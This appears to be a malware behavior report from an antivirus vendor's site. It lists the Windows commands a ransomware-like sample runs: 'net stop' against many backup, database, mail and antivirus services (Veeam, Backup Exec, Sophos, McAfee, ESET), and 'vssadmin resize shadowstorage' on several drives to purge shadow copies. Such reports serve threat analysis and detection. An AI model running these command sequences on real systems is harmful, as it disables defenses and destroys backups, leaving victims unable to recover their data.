'%WINDIR%\syswow64\cmd.exe' /c net stop sacsvr /y
'%WINDIR%\syswow64\net1.exe' stop ReportServer /y
'%WINDIR%\syswow64\cmd.exe' /c net stop ReportServer /y
'%WINDIR%\syswow64\net1.exe' stop POP3Svc /y
'%WINDIR%\syswow64\cmd.exe' /c net stop POP3Svc /y
'%WINDIR%\syswow64\net1.exe' stop PDVFSService /y
'%WINDIR%\syswow64\cmd.exe' /c net stop PDVFSService /y
'%WINDIR%\syswow64\net1.exe' stop OracleClientCache80 /y
'%WINDIR%\syswow64\cmd.exe' /c net stop OracleClientCache80 /y
'%WINDIR%\syswow64\net1.exe' stop ntrtscan /y
'%WINDIR%\syswow64\cmd.exe' /c net stop ntrtscan /y
'%WINDIR%\syswow64\net1.exe' stop MySQL57 /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MySQL57 /y
'%WINDIR%\syswow64\net1.exe' stop MSSQLServerOLAPService /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQLServerOLAPService /y
'%WINDIR%\syswow64\net1.exe' stop MSSQLServerADHelper100 /y
'%WINDIR%\syswow64\cmd.exe' /c net stop ReportServer$SQL_2008 /y
'%WINDIR%\syswow64\net1.exe' stop ReportServer$SQL_2008 /y
'%WINDIR%\syswow64\cmd.exe' /c net stop ReportServer$SYSTEM_BGC /y
'%WINDIR%\syswow64\net1.exe' stop ReportServer$SYSTEM_BGC /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SepMasterService /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SDRSVC /y
'%WINDIR%\syswow64\net1.exe' stop SAVService /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SAVService /y
'%WINDIR%\syswow64\net1.exe' stop SAVAdminService /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SAVAdminService /y
'%WINDIR%\syswow64\net1.exe' stop SamSs /y
'%WINDIR%\syswow64\net1.exe' stop SepMasterService /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SamSs /y
'%WINDIR%\syswow64\net1.exe' stop SDRSVC /y
'%WINDIR%\syswow64\net1.exe' stop RESvc /y
'%WINDIR%\syswow64\cmd.exe' /c net stop RESvc /y
'%WINDIR%\syswow64\net1.exe' stop ReportServer$TPSAMA /y
'%WINDIR%\syswow64\cmd.exe' /c net stop ReportServer$TPSAMA /y
'%WINDIR%\syswow64\net1.exe' stop ReportServer$TPS /y
'%WINDIR%\syswow64\cmd.exe' /c net stop ReportServer$TPS /y
'%WINDIR%\syswow64\net1.exe' stop sacsvr /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQLServerADHelper100 /y
'%WINDIR%\syswow64\net1.exe' stop SQLSafeOLRService /y
'%WINDIR%\syswow64\net1.exe' stop VeeamDeploymentService /y
'%WINDIR%\syswow64\net1.exe' stop msftesql$PROD /y
'%WINDIR%\syswow64\cmd.exe' /c net stop msftesql$PROD /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$PROD /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$PROD /y
'%WINDIR%\syswow64\net1.exe' stop MSSQLServerADHelper /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQLServerADHelper /y
'%WINDIR%\syswow64\net1.exe' stop "Zoolz 2 Service" /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$PROD /y
'%WINDIR%\syswow64\net1.exe' stop NetMsmqActivator /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$PROD /y
'%WINDIR%\syswow64\net1.exe' stop "SQL Backups" /y
'%WINDIR%\syswow64\cmd.exe' /c net stop "SQL Backups" /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$CITRIX_METAFRAME /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$CITRIX_METAFRAME /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$CXDB /y
'%WINDIR%\syswow64\cmd.exe' /c net stop "Zoolz 2 Service" /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSOLAP$SQL_2008 /y
'%WINDIR%\syswow64\cmd.exe' /c net stop EhttpSrv /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$SQLEXPRESS /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$SQLEXPRESS /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$SQLEXPRESS /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$SQLEXPRESS /y
'%WINDIR%\syswow64\net1.exe' stop klnagent /y
'%WINDIR%\syswow64\cmd.exe' /c net stop klnagent /y
'%WINDIR%\syswow64\net1.exe' stop AVP /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$CXDB /y
'%WINDIR%\syswow64\cmd.exe' /c net stop NetMsmqActivator /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLAgent$SOPHOS /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$SOPHOS /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$SOPHOS /y
'%WINDIR%\syswow64\net1.exe' stop ESHASRV /y
'%WINDIR%\syswow64\cmd.exe' /c net stop ESHASRV /y
'%WINDIR%\syswow64\net1.exe' stop ekrn /y
'%WINDIR%\syswow64\cmd.exe' /c net stop ekrn /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$SOPHOS /y
'%WINDIR%\syswow64\net1.exe' stop EhttpSrv /y
'%WINDIR%\syswow64\net1.exe' stop SQLSERVERAGENT /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLSERVERAGENT /y
'%WINDIR%\syswow64\net1.exe' stop VeeamHvIntegrationSvc /y
'%WINDIR%\syswow64\cmd.exe' /c net stop VeeamDeploySvc /y
'%WINDIR%\syswow64\net1.exe' stop VeeamCloudSvc /y
'%WINDIR%\syswow64\cmd.exe' /c net stop VeeamCloudSvc /y
'%WINDIR%\syswow64\net1.exe' stop VeeamCatalogSvc /y
'%WINDIR%\syswow64\cmd.exe' /c net stop VeeamCatalogSvc /y
'%WINDIR%\syswow64\net1.exe' stop VeeamBrokerSvc /y
'%WINDIR%\syswow64\cmd.exe' /c net stop VeeamBrokerSvc /y
'%WINDIR%\syswow64\net1.exe' stop VeeamBackupSvc /y
'%WINDIR%\syswow64\cmd.exe' /c net stop VeeamBackupSvc /y
'%WINDIR%\syswow64\net1.exe' stop SQLWriter /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLWriter /y
'%WINDIR%\syswow64\net1.exe' stop SQLTELEMETRY$ECWDB2 /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLTELEMETRY$ECWDB2 /y
'%WINDIR%\syswow64\net1.exe' stop SQLTELEMETRY /y
'%WINDIR%\syswow64\cmd.exe' /c net stop SQLTELEMETRY /y
'%WINDIR%\syswow64\net1.exe' stop VeeamDeploySvc /y
'%WINDIR%\syswow64\cmd.exe' /c net stop VeeamEnterpriseManagerSvc /y
'%WINDIR%\syswow64\cmd.exe' /c net stop VeeamHvIntegrationSvc /y
'%WINDIR%\syswow64\cmd.exe' /c net stop VeeamTransportSvc /y
'%WINDIR%\syswow64\net1.exe' stop VeeamTransportSvc /y
'%WINDIR%\syswow64\net1.exe' stop WRSVC /y
'%WINDIR%\syswow64\cmd.exe' /c net stop WRSVC /y
'%WINDIR%\syswow64\net1.exe' stop wbengine /y
'%WINDIR%\syswow64\cmd.exe' /c net stop wbengine /y
'%WINDIR%\syswow64\net1.exe' stop W3Svc /y
'%WINDIR%\syswow64\cmd.exe' /c net stop W3Svc /y
'%WINDIR%\syswow64\net1.exe' stop swi_update /y
'%WINDIR%\syswow64\cmd.exe' /c net stop swi_update /y
'%WINDIR%\syswow64\cmd.exe' /c net stop VeeamDeploymentService /y
'%WINDIR%\syswow64\cmd.exe' /c net stop VeeamRESTSvc /y
'%WINDIR%\syswow64\net1.exe' stop VeeamNFSSvc /y
'%WINDIR%\syswow64\cmd.exe' /c net stop VeeamNFSSvc /y
'%WINDIR%\syswow64\net1.exe' stop VeeamMountSvc /y
'%WINDIR%\syswow64\cmd.exe' /c net stop VeeamMountSvc /y
'%WINDIR%\syswow64\net1.exe' stop VeeamEnterpriseManagerSvc /y
'%WINDIR%\syswow64\net1.exe' stop VeeamRESTSvc /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQLSERVER /y
'%WINDIR%\syswow64\net1.exe' stop MSSQLFDLauncher$TPSAMA /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQLFDLauncher$TPSAMA /y
'%WINDIR%\syswow64\net1.exe' stop BackupExecManagementService /y
'%WINDIR%\syswow64\cmd.exe' /c net stop BackupExecManagementService /y
'%WINDIR%\syswow64\net1.exe' stop BackupExecJobEngine /y
'%WINDIR%\syswow64\cmd.exe' /c net stop BackupExecJobEngine /y
'%WINDIR%\syswow64\net1.exe' stop BackupExecDeviceMediaService /y
'%WINDIR%\syswow64\cmd.exe' /c net stop BackupExecDeviceMediaService /y
'%WINDIR%\syswow64\net1.exe' stop BackupExecAgentBrowser /y
'%WINDIR%\syswow64\cmd.exe' /c net stop BackupExecAgentBrowser /y
'%WINDIR%\syswow64\net1.exe' stop BackupExecAgentAccelerator /y
'%WINDIR%\syswow64\cmd.exe' /c net stop BackupExecAgentAccelerator /y
'%WINDIR%\syswow64\net1.exe' stop ARSM /y
'%WINDIR%\syswow64\cmd.exe' /c net stop ARSM /y
'%WINDIR%\syswow64\net1.exe' stop Antivirus /y
'%WINDIR%\syswow64\cmd.exe' /c net stop Antivirus /y
'%WINDIR%\syswow64\net1.exe' stop BackupExecRPCService /y
'%WINDIR%\syswow64\cmd.exe' /c net stop BackupExecVSSProvider /y
'%WINDIR%\syswow64\net1.exe' stop BackupExecVSSProvider /y
'%WINDIR%\syswow64\cmd.exe' /c net stop bedbg /y
'%WINDIR%\syswow64\cmd.exe' /c net stop IMAP4Svc /y
'%WINDIR%\syswow64\net1.exe' stop IISAdmin /y
'%WINDIR%\syswow64\cmd.exe' /c net stop IISAdmin /y
'%WINDIR%\syswow64\net1.exe' stop FA_Scheduler /y
'%WINDIR%\syswow64\cmd.exe' /c net stop FA_Scheduler /y
'%WINDIR%\syswow64\net1.exe' stop EsgShKernel /y
'%WINDIR%\syswow64\cmd.exe' /c net stop EsgShKernel /y
'%WINDIR%\syswow64\net1.exe' stop AcrSch2Svc /y
'%WINDIR%\syswow64\net1.exe' stop IMAP4Svc /y
'%WINDIR%\syswow64\net1.exe' stop EPUpdateService /y
'%WINDIR%\syswow64\cmd.exe' /c net stop EPUpdateService /y
'%WINDIR%\syswow64\net1.exe' stop EPSecurityService /y
'%WINDIR%\syswow64\cmd.exe' /c net stop EPSecurityService /y
'%WINDIR%\syswow64\net1.exe' stop DCAgent /y
'%WINDIR%\syswow64\cmd.exe' /c net stop DCAgent /y
'%WINDIR%\syswow64\net1.exe' stop bedbg /y
'%WINDIR%\syswow64\cmd.exe' /c net stop EraserSvc11710 /y
'%WINDIR%\syswow64\cmd.exe' /c net stop AcrSch2Svc /y
'%WINDIR%\syswow64\net1.exe' stop EraserSvc11710 /y
'%WINDIR%\syswow64\cmd.exe' /c net stop AcronisAgent /y
'%WINDIR%\syswow64\cmd.exe' /c net stop "Enterprise Client Service" /y
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=e: /on=e: /maxsize=unbounded
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=e: /on=e: /maxsize=401MB
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=d: /on=d: /maxsize=unbounded
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=d: /on=d: /maxsize=401MB
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=c: /on=c: /maxsize=unbounded
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=c: /on=c: /maxsize=401MB
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
'<SYSTEM32>\vssvc.exe'
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=f: /on=f: /maxsize=unbounded
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=g: /on=g: /maxsize=401MB
'%WINDIR%\syswow64\net1.exe' stop "Veeam Backup Catalog Data Service" /y
'%WINDIR%\syswow64\cmd.exe' /c net stop "Veeam Backup Catalog Data Service" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLsafe Filter Service" /y
'%WINDIR%\syswow64\cmd.exe' /c net stop "SQLsafe Filter Service" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLsafe Backup Service" /y
'%WINDIR%\syswow64\cmd.exe' /c net stop "SQLsafe Backup Service" /y
'%WINDIR%\syswow64\net1.exe' stop "Enterprise Client Service" /y
'%WINDIR%\syswow64\net1.exe' stop AcronisAgent /y
'%WINDIR%\syswow64\cmd.exe' /c net stop McShield /y
'%WINDIR%\syswow64\cmd.exe' /c net stop "Acronis VSS Provider" /y
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=h: /on=h: /maxsize=unbounded
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=h: /on=h: /maxsize=401MB
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=g: /on=g: /maxsize=unbounded
'%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
'%WINDIR%\syswow64\net1.exe' stop "Acronis VSS Provider" /y
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=f: /on=f: /maxsize=401MB
'%WINDIR%\syswow64\cmd.exe' /c net stop BackupExecRPCService /y
'%WINDIR%\syswow64\net1.exe' stop McShield /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$TPS /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$TPSAMA /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$TPS /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$SYSTEM_BGC /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$SYSTEM_BGC /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$SQL_2008 /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$SQL_2008 /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$SHAREPOINT /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$SHAREPOINT /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$SBSMONITORING /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$SBSMONITORING /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$PROFXENGAGEMENT /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$PROFXENGAGEMENT /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$PRACTTICEBGC /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$PRACTTICEBGC /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$PRACTICEMGT /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$VEEAMSQL2008R2 /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$VEEAMSQL2008R2 /y
'%WINDIR%\syswow64\net1.exe' stop MSSQLFDLauncher$TPS /y
'%WINDIR%\syswow64\net1.exe' stop MSSQLFDLauncher$SBSMONITORING /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQLFDLauncher$SHAREPOINT /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQLFDLauncher$TPS /y
'%WINDIR%\syswow64\net1.exe' stop MSSQLFDLauncher$SYSTEM_BGC /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQLFDLauncher$SYSTEM_BGC /y
'%WINDIR%\syswow64\net1.exe' stop MSSQLFDLauncher$SQL_2008 /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQLFDLauncher$SQL_2008 /y
'%WINDIR%\syswow64\net1.exe' stop MSSQLFDLauncher$SHAREPOINT /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$TPSAMA /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$PRACTICEMGT /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$ECWDB2 /y
'%WINDIR%\syswow64\net1.exe' stop MSSQLFDLauncher$PROFXENGAGEMENT /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQLFDLauncher$PROFXENGAGEMENT /y
'%WINDIR%\syswow64\net1.exe' stop MSSQLFDLauncher /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQLFDLauncher /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$VEEAMSQL2012 /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$VEEAMSQL2012 /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQLFDLauncher$SBSMONITORING /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$ECWDB2 /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$BKUPEXEC /y
'%WINDIR%\syswow64\cmd.exe' /c net stop McTaskManager /y
'%WINDIR%\syswow64\cmd.exe' /c net stop mozyprobackup /y
'%WINDIR%\syswow64\net1.exe' stop MsDtsServer110 /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MsDtsServer110 /y
'%WINDIR%\syswow64\net1.exe' stop MsDtsServer100 /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MsDtsServer100 /y
'%WINDIR%\syswow64\net1.exe' stop MsDtsServer /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MsDtsServer /y
'%WINDIR%\syswow64\cmd.exe' /c net stop mfefire /y
'%WINDIR%\syswow64\net1.exe' stop MSExchangeES /y
'%WINDIR%\syswow64\net1.exe' stop MMS /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MMS /y
'%WINDIR%\syswow64\net1.exe' stop mfevtp /y
'%WINDIR%\syswow64\cmd.exe' /c net stop mfevtp /y
'%WINDIR%\syswow64\net1.exe' stop mfemms /y
'%WINDIR%\syswow64\cmd.exe' /c net stop mfemms /y
'%WINDIR%\syswow64\net1.exe' stop McTaskManager /y
'%WINDIR%\syswow64\net1.exe' stop mozyprobackup /y
'%WINDIR%\syswow64\cmd.exe' /c net stop AVP /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSExchangeIS /y
'%WINDIR%\syswow64\net1.exe' stop MSExchangeMGMT /y
'%WINDIR%\syswow64\net1.exe' stop MSExchangeIS /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSSQL$BKUPEXEC /y
'%WINDIR%\syswow64\net1.exe' stop MSOLAP$TPSAMA /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSOLAP$TPSAMA /y
'%WINDIR%\syswow64\net1.exe' stop MSOLAP$TPS /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSOLAP$TPS /y
'%WINDIR%\syswow64\net1.exe' stop MSOLAP$SYSTEM_BGC /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSExchangeMGMT /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSOLAP$SYSTEM_BGC /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSExchangeES /y
'%WINDIR%\syswow64\net1.exe' stop MSExchangeSRS /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSExchangeSRS /y
'%WINDIR%\syswow64\net1.exe' stop MSExchangeSA /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSExchangeSA /y
'%WINDIR%\syswow64\net1.exe' stop MSExchangeMTA /y
'%WINDIR%\syswow64\cmd.exe' /c net stop MSExchangeMTA /y
'%WINDIR%\syswow64\net1.exe' stop MSOLAP$SQL_2008 /y
'%WINDIR%\syswow64\net1.exe' stop mfefire /y

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней